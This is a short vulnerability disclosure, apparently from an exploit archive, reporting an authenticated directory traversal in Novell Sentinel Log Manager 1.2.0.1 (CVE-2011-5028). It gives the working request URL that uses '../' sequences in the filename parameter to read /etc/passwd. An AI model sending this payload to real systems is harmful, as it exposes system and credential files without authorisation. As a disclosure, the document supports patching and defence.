novell sentinel log manager 1.2.0.1 - Directory Traversal

# Exploit Title: Novell Sentinel Log Manager directory traversal

# Date: 2011-12-18

# Exploit Author: Andrea Fabrizi

# Vendor Homepage: http://www.novell.com/

# Version: <= 1.2.0.1

# Tested on: Sentinel Log Manager Appliance 1.2.0.1

# CVE: 2011-5028



The latest version of Sentinel Log Manager is prone to a Directory

Traversal, which makes it possible, for Authenticated Users, to access

any system file.



Testing environment: Sentinel Log Manager Appliance 1.2.0.1



Vulnerable URL:

/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd



BID: http://www.securityfocus.com/bid/51104/info

CVE-2011-5028: http://www.cvedetails.com/cve/CVE-2011-5028